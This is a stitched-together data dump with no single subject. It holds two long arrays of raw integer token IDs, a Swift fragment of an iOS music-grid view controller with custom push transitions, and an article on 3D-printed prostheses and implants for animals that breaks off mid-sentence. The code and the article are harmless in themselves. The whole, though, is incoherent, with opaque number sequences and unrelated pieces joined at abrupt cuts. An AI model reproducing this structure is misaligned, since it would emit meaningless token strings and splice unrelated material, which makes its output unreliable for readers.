[ 530, 1042, 580, 5538, 8929, 23757, 551, 535, 50274, 33, 5472, 5677, 1059, 5075, 945, 4849, 3145, 27, 530, 1864, 311, 1788, 3145, 2, 187, 50274, 9486, 1339, 894, 2618, 426, 346, 25843, 10772, 3, 187, 50274, 9486, 945, 4236, 41296, 1163, 16865, 32, 187, 50274, 187, 50274, 9486, 945, 4236, 9270, 1163, 330, 46121, 32, 187, 50274, 9486, 945, 2840, 6504, 5906, 1163, 12047, 6504, 5906, 32, 187, 50274, 187, 50274, 9486, 945, 9575, 1163, 544, 41296, 62, 426, 544, 41296, 9, 435, 382, 27, 346, 44, 423, 4662, 16967, 274, 995, 4060, 27, 346, 8354, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 34681, 2807, 42678, 41296, 9, 435, 382, 27, 346, 32655, 20875, 36641, 995, 4060, 27, 346, 18552, 656, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 7553, 547, 2807, 42678, 16865, 9, 435, 382, 27, 346, 35, 16249, 3964, 11933, 995, 4060, 27, 346, 43, 4037, 30424, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 22354, 2807, 42678, 16865, 9, 435, 382, 27, 346, 7722, 444, 74, 384, 995, 4060, 27, 346, 35012, 6975, 831, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 8535, 2807, 42678, 16865, 9, 435, 382, 27, 346, 53, 19482, 253, 40325, 995, 4060, 27, 346, 23375, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 33179, 2807, 42678, 16865, 9, 435, 382, 27, 346, 45112, 14, 59, 995, 4060, 27, 346, 21, 27, 2031, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 12496, 2807, 42678, 16865, 9, 435, 382, 27, 346, 13117, 2653, 378, 2960, 1890, 995, 4060, 27, 346, 51, 9466, 2925, 27413, 378, 2925, 58, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 14367, 515, 2807, 42678, 16865, 9, 435, 382, 27, 346, 3251, 266, 16040, 995, 4060, 27, 346, 3351, 468, 784, 36533, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 303, 468, 784, 2807, 42678, 16865, 9, 435, 382, 27, 346, 48, 1678, 885, 70, 995, 4060, 27, 346, 26521, 352, 896, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 547, 6121, 2807, 42678, 16865, 9, 435, 382, 27, 346, 43, 15, 42, 15, 37, 995, 4060, 27, 346, 15751, 995, 28227, 27, 530, 38129, 9, 19389, 27, 346, 7594, 2807, 2, 9102, 187, 50274, 187, 50274, 37488, 11632, 1859, 8917, 9624, 1082, 551, 187, 50270, 12185, 15, 1374, 8917, 9624, 1082, 187, 50270, 1286, 15, 37336, 8929, 29006, 43663, 426, 1881, 187, 50270, 84, 23750, 15, 9691, 9, 28662, 4527, 27, 9575, 559, 9575, 559, 9575, 10, 187, 50270, 37632, 16687, 3145, 1082, 187, 50274, 94, 535, 50274, 9486, 11632, 40852, 16687, 3145, 14574, 187, 50270, 1286, 15, 25318, 3145, 15, 2203, 7781, 426, 1881, 187, 50270, 1286, 15, 25318, 3145, 15, 43663, 426, 1881, 187, 50270, 1286, 15, 25318, 3145, 15, 15905, 9, 54, 1042, 487, 15, 4478, 9, 79, 487, 2402, 27, 346, 41296, 10772, 995, 13204, 27, 48284, 15, 7265, 582, 323, 10772, 3378, 1785, 2327, 18483, 27, 894, 2618, 10, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 4849, 3145, 10107, 4849, 3145, 27, 530, 1864, 311, 1788, 3145, 13, 1180, 4527, 16379, 688, 12612, 2593, 27, 4458, 10, 5204, 4458, 551, 187, 50270, 2309, 9575, 15, 5560, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 4849, 3145, 10107, 4849, 3145, 27, 530, 1864, 311, 1788, 3145, 13, 894, 2214, 5475, 3404, 3605, 5455, 27, 13193, 5455, 10, 5204, 530, 1864, 311, 1788, 3145, 10772, 551, 187, 50270, 1059, 894, 1163, 16865, 10772, 426, 1881, 15, 25318, 3145, 15, 615, 14487, 1785, 34153, 10772, 9, 3113, 1785, 2327, 18483, 27, 894, 2618, 13, 323, 27, 3605, 5455, 10, 347, 2, 16865, 10772, 187, 50270, 3992, 15, 38664, 3378, 9, 32429, 27, 9575, 60, 4663, 5455, 15, 736, 3291, 187, 50270, 2309, 894, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 4849, 3145, 10107, 4849, 3145, 27, 530, 1864, 311, 1788, 3145, 13, 12806, 4849, 3145, 9683, 27, 530, 1864, 311, 1788, 3145, 9683, 13, 1979, 2214, 5475, 3404, 3605, 5455, 27, 13193, 5455, 10, 5204, 16944, 5496, 551, 187, 50270, 2309, 16944, 5496, 9, 3429, 27, 1881, 15, 25318, 3145, 15, 6301, 15, 3429, 1227, 495, 13, 4898, 27, 1881, 15, 25318, 3145, 15, 6301, 15, 3429, 1227, 495, 10, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 4849, 3145, 10107, 4849, 3145, 27, 530, 1864, 311, 1788, 3145, 13, 858, 10004, 5475, 3404, 3605, 5455, 27, 13193, 5455, 10, 551, 187, 50270, 1286, 15, 16191, 41296, 426, 9575, 60, 4663, 5455, 15, 736, 62, 187, 50270, 1059, 253, 23372, 27, 45717, 311, 1788, 3145, 9683, 23372, 2, 426, 4849, 3145, 15, 7916, 23372, 2214, 5475, 9, 255, 27, 3605, 5455, 10, 187, 50270, 16191, 9270, 426, 4849, 3145, 15, 28985, 9, 783, 23372, 15, 6301, 13, 281, 27, 4849, 3145, 15, 12185, 1374, 10, 187, 50270, 1286, 15, 32231, 23083, 489, 9, 3113, 18483, 27, 346, 19998, 995, 22647, 27, 1881, 10, 187, 50274, 94, 187, 50274, 187, 50274, 37488, 11632, 10347, 9, 1542, 8753, 489, 27, 12693, 29569, 4697, 23083, 489, 13, 22647, 27, 6101, 14677, 551, 187, 50270, 338, 313, 339, 25070, 15, 31668, 2295, 346, 19998, 2807, 551, 187, 50266, 1059, 4760, 55, 68, 426, 8753, 489, 15, 41011, 347, 2, 11412, 19998, 20775, 187, 50266, 15381, 55, 68, 15, 32429, 426, 1881, 15, 16191, 41296, 187, 50270, 94, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 15034, 8929, 10107, 15034, 8929, 27, 530, 1042, 580, 5538, 8929, 13, 5016, 8929, 2214, 16904, 8929, 27, 12693, 20775, 1145, 18280, 39512, 272, 10, 5204, 12693, 20775, 6504, 4507, 39512, 272, 32, 551, 187, 50270, 18625, 1339, 16399, 426, 2840, 6504, 5906, 2010, 551, 1091, 5296, 748, 187, 50270, 2309, 16399, 15, 25974, 688, 25155, 3736, 2840, 6504, 5906, 1163, 5296, 187, 50274, 94, 187, 50274, 187, 50274, 4997, 15034, 8929, 10107, 15034, 8929, 27, 530, 1042, 580, 5538, 8929, 13, 16904, 8929, 2214, 4254, 27, 530, 1042, 580, 5538, 8929, 17547, 13, 432, 432, 12548, 27, 12693, 20775, 13, 281, 281, 12548, 27, 12693, 20775, 10, 5204, 12693, 20775, 1145, 18280, 39512, 272, 32, 551, 187, 50270, 18625, 1339, 3665, 426, 1881, 15, 16191, 9270, 2010, 551, 1091, 5296, 748, 187, 50270, 18625, 1339, 4498, 426, 1881, 15, 16191, 41296, 2010, 551, 1091, 5296, 748, 187, 50270, 187, 50270, 16065, 4254, 551, 187, 50270, 5045, 964, 11340, 27, 187, 50266, 13994, 6504, 5906, 426, 12047, 6504, 5906, 9, 38729, 1992, 27, 281, 12548, 10, 187, 50266, 2309, 12047, 40387, 1080, 9, 27076, 27, 6865, 27068, 9, 54, 1042, 580, 5538, 8929, 29834, 14422, 7912, 24921, 582, 310, 25582, 272, 27, 2032, 13, 6510, 9270, 27, 3665, 13, 2460, 27, 4498, 15, 435, 1601, 10, 187, 50270, 6986, 27, 187, 50266, 2309, 12047, 40387, 1080, 9, 27076, 27, 6865, 27068, 9, 54, 1042, 580, 5538, 8929, 29834, 14422, 7912, 24921, 582, 310, 25582, 272, 27, 3221, 13, 6510, 9270, 27, 3665, 13, 2460, 27, 4498, 15, 435, 1601, 10, 187, 50270, 94, 187, 50274, 94, 187, 94, 535, 21164, 459, 1176, 4371, 84, 27, 884, 49039, 495, 37, 18312, 272, 7518, 9357, 29301, 831, 10519, 187, 187, 23631, 14528, 247, 1175, 5893, 2926, 13, 285, 253, 495, 37, 11993, 1533, 556, 9828, 273, 731, 15, 4325, 5893, 17248, 30832, 281, 27067, 281, 1014, 35121, 8385, 323, 29015, 13, 495, 37, 11993, 556, 6518, 5074, 816, 347, 1199, 347, 352, 556, 6518, 952, 15, 3856, 403, 884, 273, 253, 1462, 483, 6281, 432, 436, 807, 670, 849, 495, 37, 11993, 556, 6518, 776, 5893, 3858, 281, 3153, 616, 1682, 4852, 15, 187, 187, 37, 14175, 13, 40938, 13, 40938, 187, 187, 6080, 273, 253, 954, 10879, 6281, 359, 4089, 403, 670, 9097, 13, 285, 326, 457, 84, 642, 9326, 13, 984, 952, 2389, 616, 9097, 347, 2758, 273, 616, 5870, 285, 403, 7378, 281, 513, 2712, 323, 731, 15, 2064, 457, 84, 2139, 247, 38091, 4907, 378, 32754, 7402, 598, 17362, 247, 2570, 5869, 281, 8706, 521, 1791, 13, 534, 574, 644, 47779, 672, 344, 369, 1077, 2872, 15, 329, 495, 37, 11462, 1566, 273, 378, 32754, 457, 84, 1791, 6518, 10887, 249, 19222, 281, 2098, 562, 521, 5869, 6386, 273, 673, 13, 4795, 275, 271, 4254, 326, 369, 4122, 5547, 835, 2045, 4394, 574, 4242, 15, 16257, 13, 271, 9943, 703, 29359, 4907, 34070, 369, 5686, 5816, 2067, 273, 253, 14910, 275, 581, 273, 521, 4669, 13, 2403, 352, 2834, 285, 16592, 323, 779, 281, 2940, 15, 3032, 7302, 18203, 247, 1980, 9835, 457, 84, 495, 37, 11993, 5453, 13, 534, 495, 37, 11462, 779, 247, 48199, 44802, 594, 326, 344, 812, 1462, 285, 2940, 625, 35766, 15, 187, 187, 34, 277, 607, 1200, 1504, 4907, 2790, 2706, 3715, 247, 4502, 275, 617, 1481, 285, 369, 10268, 247, 9542, 13, 19983, 5869, 1108, 1919, 10887, 249, 19222, 4425, 281, 1611, 271, 5795, 15, 329, 30327, 19567, 1729, 369, 4158, 285, 495, 37, 11462, 275, 247, 2647, 273, 3618, 13, 285, 275, 247, 9205, 5199, 13, 253, 4502, 369, 5176, 13, 2112, 342, 253, 5876, 629, 273, 253, 4370, 457, 84, 19567, 15, 380, 19567, 369, 7932, 407, 253, 495, 37, 11462, 30327, 19567, 1729, 13, 285, 2790, 2706, 369, 2104, 281, 9295, 4541, 15, 187, 187, 2214, 253, 43328, 187, 187, 6432, 317, 4121, 476, 3153, 598, 281, 2030, 1107, 13, 594, 2790, 2706, 253, 759, 317, 825, 1335, 574, 247, 1048, 1495, 6386, 273, 779, 672, 344, 3663, 521, 3174, 281, 34724, 67, 614, 1108, 533, 1293, 1361, 13, 344, 2779, 651, 452, 281, 320, 1691, 1066, 15, 496, 271, 1650, 273, 253, 1612, 273, 253, 7336, 13, 2790, 2706, 457, 7302, 9269, 247, 15167, 3492, 7004, 323, 1361, 15, 380, 3492, 369, 2326, 407, 247, 30710, 665, 9269, 253, 759, 317, 825, 457, 84, 2926, 327, 39714, 13, 840, 1119, 247, 1566, 273, 247, 48199, 12621, 3174, 285, 574, 352, 495, 37, 11462, 285, 24610, 281, 2790, 2706, 457, 2021, 15, 187, 187, 43, 552, 253, 17081, 38584, 3715, 247, 9370, 275, 521, 6483, 1452, 13, 534, 310, 253, 26358, 3022, 2605, 327, 1755, 273, 521, 6007, 15, 329, 10887, 249, 6656, 5783, 326, 253, 9370, 369, 4269, 407, 2923, 13, 285, 651, 2430, 5869, 15, 329, 9205, 2285, 369, 2104, 281, 5386, 253, 2923, 13, 533, 326, 671, 3206, 11922, 247, 1781, 629, 273, 253, 12621, 457, 84, 6483, 1452, 15, 754, 588, 810, 736, 247, 747, 6483, 1452, 6524, 13, 533, 1919, 344, 1057, 13, 500, 552, 556, 247, 5322, 747, 495, 37, 11462, 6483, 1452, 534, 344, 1014, 17713, 264, 8862, 342, 521, 1211, 8105, 34099, 15, 187, 187, 15413, 266, 611, 478, 300, 273, 14307, 310, 1929, 347, 773, 783, 1495, 1234, 10723, 83, 1806, 347, 344, 10513, 17248, 30832, 285, 2940, 398, 323, 11062, 5074, 323, 1959, 15, 2091, 247, 1429, 3982, 271, 11062, 42484, 281, 779, 13, 611, 478, 300, 908, 495, 37, 11993, 281, 2794, 247, 48199, 3174, 13, 15706, 253, 43390, 326, 253, 12621, 574, 3663, 15, 2726, 629, 273, 697, 3174, 5816, 13, 253, 42484, 369, 7591, 281, 1379, 745, 285, 8778, 13, 533, 253, 495, 37, 11462, 48199, 4136, 352, 281, 1091, 281, 253, 8467, 15, 187, 187, 45953, 2811, 275, 253, 18630, 11491, 187, 187, 37, 34076, 285, 8969, 403, 767, 9810, 80, 3013, 273, 37078, 1027, 9552, 533, 342, 581, 2181, 275, 1846, 1108, 597, 1097, 9606, 432, 13572, 24383, 15, 39437, 369, 10903, 407, 247, 1113, 13, 1223, 8969, 369, 11062, 407, 271, 27662, 14338, 38091, 15, 6295, 273, 253, 9810, 80, 3013, 574, 253, 13572, 4243, 273, 616, 24383, 7932, 342, 495, 37, 11462, 7437, 15, 6295, 497, 2104, 281, 9295, 23395, 1108, 285, 1014, 3395, 3858, 13, 347, 1199, 347, 9810, 80, 3013, 513, 15, 187, 187, 44, 26206, 518, 253, 1499, 837, 369, 1907, 16138, 19408, 15, 743, 745, 14, 1178, 21065, 285, 31172, 9970, 1160, 352, 2834, 323, 779, 281, 6008, 13, 347, 344, 812, 417, 2810, 521, 6208, 6283, 15, 329, 2285, 273, 43248, 13, 16138, 285, 3739, 12440, 908, 7403, 13733, 13, 495, 37, 14053, 285, 495, 37, 11993, 281, 2794, 247, 3520, 1566, 273, 253, 1499, 837, 457, 84, 21065, 13, 534, 369, 908, 281, 2098, 247, 15205, 5141, 5869, 15, 187, 187, 1147, 457, 84, 417, 760, 17248, 30832, 13, 27067, 285, 3739, 3210, 326, 452, 644 ]

UINavigationControllerDelegate { @IBOutlet weak var collectionView: UICollectionView! private let cellId = "MusicCell" private var selectedSong : Song? private var selectedFrame : CGRect? private var customInteractor : CustomInteractor? private var songs : [Song] = [Song(artist: "Kendrick Lamar", title: "DNA", artwork: UIImage(named: "damn")!),Song(artist: "Freddie Gibbs", title: "Alexys", artwork: UIImage(named: "twice")!), Song(artist: "Brockhampton", title: "JUNKY", artwork: UIImage(named: "sat")!), Song(artist: "MC Eiht", title: "Represent Like This", artwork: UIImage(named: "west")!), Song(artist: "Tyler the Creator", title: "November", artwork: UIImage(named: "flower")!), Song(artist: "Jay-Z", title: "4:44", artwork: UIImage(named: "four")!), Song(artist: "Joey Bada$$", title: "ROCKABYE BABY", artwork: UIImage(named: "badass")!), Song(artist: "Sean Price", title: "Imperious Rex", artwork: UIImage(named: "imperious")!), Song(artist: "Oddisee", title: "Hold it back", artwork: UIImage(named: "iceburg")!), Song(artist: "J.I.D", title: "Never", artwork: UIImage(named: "never")!)] override func viewDidLoad() { super.viewDidLoad() self.navigationController?.delegate = self songs.append(contentsOf: songs + songs + songs) SetupCollectionView() } private func SetupCollectionView(){ self.collectionView.dataSource = self self.collectionView.delegate = self self.collectionView.register(UINib.init(nibName: "SongCell", bundle: Bundle.main), forCellWithReuseIdentifier: cellId) } func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int { return songs.count } func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell { let cell : SongCell = self.collectionView.dequeueReusableCell(withReuseIdentifier: cellId, for: indexPath) as! SongCell cell.refreshWith(song: songs[indexPath.row]) return cell } func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize { return CGSize(width: self.collectionView.frame.width / 3, height: self.collectionView.frame.width / 3) } func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) { self.selectedSong = songs[indexPath.row] let theAttributes:UICollectionViewLayoutAttributes! = collectionView.layoutAttributesForItem(at: indexPath) selectedFrame = collectionView.convert(theAttributes.frame, to: collectionView.superview) self.performSegue(withIdentifier: "Player", sender: self) } override func prepare(for segue: UIStoryboardSegue, sender: Any?) { if (segue.identifier == "Player") { let playerVc = segue.destination as! MusicPlayerViewController playerVc.song = self.selectedSong } } func navigationController(_ navigationController: UINavigationController, interactionControllerFor animationController: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { guard let ci = customInteractor else { return nil } return ci.transitionInProgress? customInteractor : nil } func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationControllerOperation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { guard let frame = self.selectedFrame else { return nil } guard let song = self.selectedSong else { return nil } switch operation { case.push: customInteractor = CustomInteractor(attachTo: toVC) return CustomAnimator(duration: TimeInterval(UINavigationControllerHideShowBarDuration), isPresenting: true, originFrame: frame, image: song.artwork) default: return CustomAnimator(duration: TimeInterval(UINavigationControllerHideShowBarDuration), isPresenting: false, originFrame: frame, image: song.artwork) } } } Creature Comforts: 10 Ways 3D Printing Helped Animals This Year Everyone loves a good animal story, and the 3D printing world has plenty of them. From animal prosthetics to implants to even robotic assistance for bees, 3D printing has helped animals just as much as it has helped people. Here are 10 of the standout stories from this year about how 3D printing has helped our animal friends to live their best lives. Dogs, Dogs, Dogs Some of the most frequent stories we hear are about dogs, and that’s no surprise, because people love their dogs as members of their families and are willing to do anything for them. That’s why a puppy named Bento ended up undergoing a complex surgery to repair his leg, which had been fractured when he was very young. A 3D printed model of Bento’s leg helped veterinarians to plan out his surgery ahead of time, resulting in an operation that was highly successful where previous ones had failed. Meanwhile, an Australian shepherd named Tucker was born missing several of the bones in one of his feet, making it difficult and painful for him to walk. His owner contacted a local university’s 3D printing club, which 3D printed him a prosthetic paw so that he could stand and walk more comfortably. A dachshund named Patches developed a tumor in her head and was facing a complicated, costly surgery – until veterinarians decided to try an alternative. A titanium skull cap was designed and 3D printed in a matter of weeks, and in a surgical procedure, the tumor was removed, along with the affected part of the dog’s skull. The skull was replaced by the 3D printed titanium skull cap, and Patches was able to recover quickly. For the Birds Peacocks can live up to 25 years, so Patches the peacock still had a long life ahead of him when he lost his foot to frostbite – but without help, he likely would have to be put down. In an example of the power of the Internet, Patches’ owner posted a YouTube video asking for help. The video was seen by a subscriber who posted the peacock’s story on Reddit, then found a model of a prosthetic bird foot and had it 3D printed and shipped to Patches’ family. Jary the hornbill developed a crack in his casque, which is the helmetlike structure on top of his bill. A veterinarian confirmed that the crack was caused by cancer, and would require surgery. A surgical team was able to remove the cancer, but that also involved removing a large part of the bird’s casque. He will regrow a new casque eventually, but until he does, Jary has a nice new 3D printed casque which he even dyed yellow with his own tail feathers. Hasan Kizil of Turkey is known as “the life repairer,” as he creates prosthetics and walkers for injured animals for free. When a child brought an injured eagle to him, Kizil used 3D printing to create a prosthetic foot, replacing the claws that the bird had lost. With part of its foot missing, the eagle was unable to take off and fly, but the 3D printed prosthetic allowed it to return to the sky. Elsewhere in the Animal Kingdom Daisy and Tim are two tortoises of vastly different sizes but with one thing in common – they both suffered from damaged shells. Daisy was struck by a car, while Tim was injured by an overly curious puppy. Both of the tortoises had the damaged parts of their shells replaced with 3D printed pieces. Both were able to recover nicely – and even became friends, as much as tortoises do. Kodiak the sloth was having dental troubles. An off-set jaw and elongated teeth made it difficult for him to eat, as he could not close his mouth properly. A team of veterinary, dental and medical professionals used CT scanning, 3D modeling and 3D printing to create a physical model of the sloth’s jaw, which was used to plan a tooth reduction surgery. It’s not only prosthetics, implants and medical models that have been

[ 3313, 16541, 15, 187, 187, 7845, 1056, 2119, 281, 873, 598, 634, 29838, 11733, 2605, 275, 247, 1039, 326, 588, 8046, 368, 281, 320, 5185, 342, 634, 1180, 272, 15, 1198, 1650, 13, 604, 368, 1472, 2516, 6212, 368, 778, 7617, 281, 2605, 634, 29838, 11733, 347, 20235, 520, 15, 15358, 417, 281, 564, 6890, 634, 21453, 1512, 1199, 13, 672, 352, 3249, 281, 253, 990, 273, 253, 2891, 807, 313, 19591, 608, 394, 582, 368, 457, 250, 1469, 281, 971, 281, 1978, 1841, 347, 2969, 347, 1896, 15, 187, 187, 1276, 310, 253, 873, 1162, 3008, 5464, 323, 19394, 2758, 273, 253, 12805, 2123, 4487, 32, 187, 187, 10195, 13, 2167, 417, 512, 13, 22507, 588, 1918, 49303, 327, 873, 2793, 1223, 2444, 275, 253, 7811, 15, 380, 873, 3126, 310, 12401, 2712, 368, 778, 452, 7407, 281, 3522, 13, 285, 627, 403, 2176, 11646, 273, 2589, 326, 3198, 281, 320, 2540, 15, 1310, 368, 403, 10748, 28819, 6600, 13, 46200, 285, 33056, 422, 840, 873, 1162, 3008, 5464, 943, 1246, 642, 16909, 323, 368, 15, 1284, 247, 28067, 1140, 22593, 368, 943, 320, 1563, 5044, 873, 1162, 3008, 5464, 323, 253, 19394, 9503, 13, 533, 604, 368, 971, 281, 1056, 271, 13214, 1060, 403, 247, 1643, 4803, 281, 789, 407, 27, 187, 187, 19577, 428, 1663, 8028, 281, 253, 16072, 326, 403, 1469, 327, 1475, 368, 15, 27817, 12542, 476, 1818, 387, 247, 2774, 457, 84, 4366, 323, 28067, 13, 285, 347, 253, 1140, 22593, 368, 476, 320, 253, 581, 277, 3834, 896, 281, 253, 19150, 15, 187, 187, 3633, 281, 871, 634, 5024, 273, 3665, 15, 1198, 2457, 12255, 313, 338, 368, 403, 2546, 281, 1361, 562, 10, 452, 247, 1007, 387, 253, 5724, 281, 923, 752, 253, 3665, 1979, 310, 28, 604, 352, 457, 84, 247, 2810, 598, 368, 1053, 457, 85, 878, 281, 8138, 673, 35952, 271, 12353, 434, 12682, 428, 5734, 253, 12353, 434, 12682, 403, 253, 2810, 598, 15, 187, 187, 5498, 457, 85, 25885, 15, 1310, 368, 403, 2444, 327, 247, 1943, 3275, 342, 690, 329, 14, 77, 8328, 13, 1053, 457, 85, 25885, 387, 731, 1223, 597, 403, 33558, 272, 390, 1469, 323, 247, 1379, 15, 16688, 28067, 368, 403, 1469, 281, 320, 4845, 4942, 2810, 281, 253, 2250, 13, 1007, 387, 253, 5724, 533, 1053, 457, 85, 9539, 352, 15, 380, 1682, 2181, 368, 476, 513, 310, 1978, 271, 5130, 327, 253, 1462, 1615, 28067, 13, 3698, 849, 597, 1246, 3746, 15, 187, 187, 1276, 943, 309, 1379, 342, 479, 327, 619, 806, 1388, 32, 187, 187, 30271, 253, 1072, 347, 253, 10338, 484, 4487, 13, 22507, 588, 1902, 49303, 281, 12666, 342, 247, 5044, 6119, 13, 3340, 604, 253, 17039, 16965, 731, 4830, 873, 342, 1462, 1615, 28067, 15, 5402, 5044, 6119, 943, 2882, 273, 27, 187, 187, 25376, 7351, 187, 187, 4316, 43842, 187, 187, 32783, 868, 285, 17059, 187, 187, 49, 968, 428, 281, 2486, 5252, 23854, 273, 718, 7551, 9552, 285, 7619, 23854, 15, 187, 187, 1328, 293, 18234, 793, 187, 187, 5072, 284, 981, 11173, 187, 187, 45, 565, 20173, 187, 187, 44480, 18967, 265, 187, 187, 53, 37841, 11173, 187, 187, 9030, 489, 187, 187, 49, 1205, 47701, 313, 296, 404, 8570, 12949, 18967, 265, 10, 187, 187, 8497, 3305, 285, 4331, 313, 20261, 253, 9479, 466, 310, 253, 4491, 434, 46680, 9928, 10705, 13, 352, 476, 320, 667, 10, 187, 187, 2019, 4521, 48820, 187, 187, 1276, 3038, 717, 309, 2779, 281, 789, 32, 187, 187, 1909, 342, 512, 10402, 665, 789, 275, 253, 8542, 20036, 13, 253, 1897, 588, 320, 1048, 15, 1422, 588, 3164, 320, 2819, 387, 1249, 3038, 327, 6568, 13, 534, 9142, 2097, 1475, 2145, 14, 1010, 3038, 247, 1388, 13, 2800, 1897, 247, 2129, 15, 380, 12805, 2123, 4487, 3548, 457, 85, 323, 4130, 15, 10351, 432, 37845, 11303, 13, 2080, 432, 3477, 13, 2758, 273, 253, 28067, 34298, 327, 253, 13870, 285, 5691, 436, 7811, 10262, 15, 187, 187, 47033, 368, 434, 3346, 187, 187, 3220, 3973, 21591, 275, 15913, 651, 751, 281, 5717, 35463, 13134, 8541, 323, 9628, 521, 385, 44929, 1090, 285, 4933, 598, 521, 673, 281, 3959, 7535, 323, 436, 5249, 7102, 15, 187, 187, 22196, 776, 25116, 5901, 187, 187, 2214, 42258, 13536, 547, 13, 21591, 34600, 2135, 13, 285, 15173, 15185, 15, 844, 403, 1060, 281, 1361, 368, 13, 594, 6604, 441, 327, 776, 6745, 1387, 285, 2312, 281, 441, 2, 16880, 457, 84, 747, 12425, 3448, 310, 1160, 323, 6318, 12823, 187, 187, 3039, 581, 273, 253, 806, 3367, 12823, 13, 253, 1219, 893, 343, 854, 10695, 2210, 2112, 275, 14828, 13, 9664, 369, 4704, 342, 247, 10717, 3448, 13, 1219, 893, 343, 19253, 1864, 15, 733, 5605, 281, 320, 9696, 5480, 672, 6318, 12823, 564, 17068, 13, 594, 352, 556, 34800, 247, 747, 10717, 3448, 285, 643, 5657, 323, 253, 14484, 32838, 13817, 387, 697, 25619, 614, 8059, 15, 1422, 1833, 1335, 878, 281, 2096, 1165, 538, 953, 285, 643, 12504, 12342, 13, 533, 407, 24399, 5899, 11515, 751, 330, 4, 285, 13814, 13, 9664, 588, 1056, 352, 6927, 281, 513, 17068, 12672, 327, 253, 2570, 10679, 15, 187, 187, 42175, 12672, 310, 39316, 2834, 281, 15909, 1969, 1014, 21314, 434, 346, 24393, 1216, 434, 16398, 3, 310, 17053, 314, 34350, 15, 496, 16585, 9664, 434, 747, 21823, 13, 7641, 27982, 1925, 253, 12057, 346, 73, 1321, 19644, 545, 982, 937, 285, 672, 2546, 604, 344, 812, 6266, 352, 275, 581, 6197, 13, 11191, 5973, 25624, 5021, 753, 346, 42, 1053, 626, 1158, 594, 15, 309, 5730, 309, 812, 449, 187, 187, 2598, 13, 1339, 434, 816, 2312, 670, 752, 352, 476, 513, 13, 840, 15, 2896, 3192, 5750, 273, 253, 9241, 273, 45616, 285, 26294, 13, 6318, 12823, 476, 8415, 2176, 3510, 273, 3237, 28596, 7938, 685, 253, 1682, 2221, 16777, 398, 15, 346, 1147, 651, 1581, 10950, 281, 513, 30745, 275, 2909, 390, 3038, 326, 651, 1379, 253, 12702, 273, 253, 10325, 327, 1014, 253, 954, 7269, 8946, 12823, 937, 9664, 11424, 15, 346, 2773, 13, 275, 1614, 13, 651, 1599, 326, 952, 812, 1089, 9172, 281, 8249, 3533, 3786, 1869, 440, 31984, 494, 449, 187, 187, 16880, 310, 8069, 3652, 247, 3448, 323, 12823, 326, 1053, 626, 1663, 2226, 2568, 15, 380, 954, 7269, 5661, 5145, 13, 247, 1668, 16, 1166, 38294, 1566, 13, 369, 4270, 407, 21314, 285, 556, 1408, 689, 7469, 13, 933, 4679, 15, 733, 434, 2080, 432, 1146, 4704, 323, 6264, 4893, 13, 2167, 15, 7967, 10063, 4102, 34800, 271, 15952, 281, 1973, 6264, 6318, 12823, 1925, 21314, 1165, 13, 285, 556, 2168, 4439, 697, 1211, 10717, 5657, 3066, 271, 8990, 1925, 253, 21314, 25136, 26962, 15, 187, 187, 16880, 434, 10717, 3448, 2506, 626, 452, 247, 1416, 2568, 13, 533, 253, 2567, 2168, 556, 5827, 323, 6318, 12672, 275, 14980, 15, 496, 1798, 13, 352, 11121, 326, 253, 10679, 812, 320, 908, 281, 6194, 697, 26135, 3230, 5865, 13372, 275, 1897, 3185, 273, 2607, 15, 346, 9586, 604, 3253, 2010, 369, 253, 1072, 13, 26135, 3230, 651, 3157, 1884, 2069, 7938, 937, 9664, 434, 2561, 7015, 20577, 353, 1504, 466, 2296, 15, 187, 187, 1992, 755, 6318, 12672, 2444, 625, 4541, 13, 9664, 434, 4177, 10527, 22780, 13, 6277, 8377, 264, 1342, 313, 27490, 582, 310, 2820, 281, 1973, 1097, 253, 10309, 285, 3694, 323, 247, 346, 3956, 1975, 6318, 4382, 3, 313, 42, 1353, 417, 1014, 1469, 281, 1611, 281, 5513, 326, 481, 1916, 326, 4388, 13, 344, 556, 17875, 346, 8826, 273, 253, 1533, 434, 638, 358, 14622, 35341, 14, 30596, 285, 10527, 26289, 1346, 13, 4753, 10950, 13, 39011, 2458, 285, 4382, 10950, 937, 9664, 2296, 15, 187, 187, 16880, 310, 671, 2444, 327, 253, 4382, 3139, 13, 533, 281, 755, 39335, 598, 281, 3885, 13, 352, 434, 20437, 253, 10717, 5657, 323, 12259, 285, 4382, 10950, 15, 346, 510, 1072, 2127, 326, 368, 1472, 3515, 3063, 275, 9864, 368, 476, 1408, 10873, 327, 776, 6318, 4382, 937, 2296, 6318, 12672, 3694, 1421, 611, 11925, 66, 322, 87, 410, 15, 187, 187, 38861, 4212, 476, 26065, 3237, 326, 2430, 598, 281, 1884, 13760, 42414, 13, 1223, 16100, 6383, 755, 3387, 42414, 273, 1612, 313, 783, 625, 42414, 13, 253, 7938, 253, 5145, 481, 346, 29618, 398, 1293, 6318, 15040, 476, 2686, 1067, 6318, 749, 27861, 1100, 13, 390, 3630, 6430, 273, 10717, 7997, 13, 2444, 598, 281, 4028, 247, 3426, 6318, 2086, 937, 9664, 2296, 15, 187, 187, 1147, 1537, 320, 36521, 1078, 47864, 12823, 403, 4704, 13, 347, 597, 4390, 2430, 2822, 14, 32816, 5058, 9208, 281, 3464, 275, 247, 6474, 1375, 15, 24258, 849, 10458, 352, 310, 281, 